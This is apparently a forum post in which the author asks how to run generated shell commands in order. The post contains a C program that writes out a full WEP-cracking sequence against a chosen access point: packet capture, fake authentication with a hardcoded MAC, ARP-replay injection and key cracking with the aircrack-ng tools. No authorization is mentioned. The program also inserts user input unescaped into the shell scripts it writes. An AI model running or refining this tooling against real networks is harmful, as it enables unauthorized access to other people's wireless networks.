Here's what's going on. I wrote this program, and I would like it to write all the commands to one shell script, and execute each command in order, because the first command needs to finish before the second, and the second before the third, and so on. I understand how to put all the commands on one script file, but how do i get the commands to wait for the previous to finish?
Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
int i;
for(i=0;i<size;++i){
if(str[i]=='\n'){
str[i]='\0';
return;
}
}
}
int main()
{
char bssid[20];
char essid[20];
int channel;
printf("AP BSSID:");
fgets(bssid,20,stdin);
strip_newline(bssid,20);
printf("AP ESSID:");
fgets(essid,20,stdin);
strip_newline(essid,20);
printf("AP CHANNEL:");
scanf("%d",&channel);
FILE *capture;
capture=fopen("capture","w");
fprintf(capture,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0\n",channel,bssid,essid);
fclose(capture);
FILE *auth;
auth=fopen("auth","w");
fprintf(auth,"#!/bin/bash\n\naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\n",essid,bssid);
fclose(auth);
FILE *inject;
inject=fopen("inject","w");
fprintf(inject,"#!/bin/bash\n\naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\n",bssid);
fclose(inject);
FILE *crack;
crack=fopen("crack","w");
fprintf(crack,"#!/bin/bash\n\naircrack-ng -z -b %s %s*.cap\n",bssid,essid);
fclose(crack);
getchar();
return 0;
}